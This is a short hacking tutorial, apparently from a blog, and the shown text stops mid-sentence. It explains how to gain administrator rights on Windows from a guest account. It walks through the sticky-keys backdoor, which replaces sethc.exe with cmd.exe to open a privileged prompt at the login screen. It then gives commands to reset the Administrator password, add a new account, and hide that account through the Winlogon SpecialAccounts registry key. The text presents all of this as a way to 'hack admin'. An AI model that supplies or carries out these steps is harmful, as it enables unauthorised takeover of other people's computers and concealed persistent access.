Click Start, Run and type Regedit.exe
Navigate to the following key:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
Use the File, Export option to backup the key
Create a new DWORD Value named Administrator
Double-click Administrator, and set 1 as its data
Exit the Registry Editor.
2nd Method:

Go to C:/windows/system32
* Copy cmd.exe and paste it on desktop
* rename cmd.exe to sethc.exe
* Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.

* Now Log out from your guest account and at the user select window,press shift key 5 times.
* Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.

* Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
* You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
* Congrats You have hacked admin from guest account.

Further..
Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]

Here create a new DWORD value, write its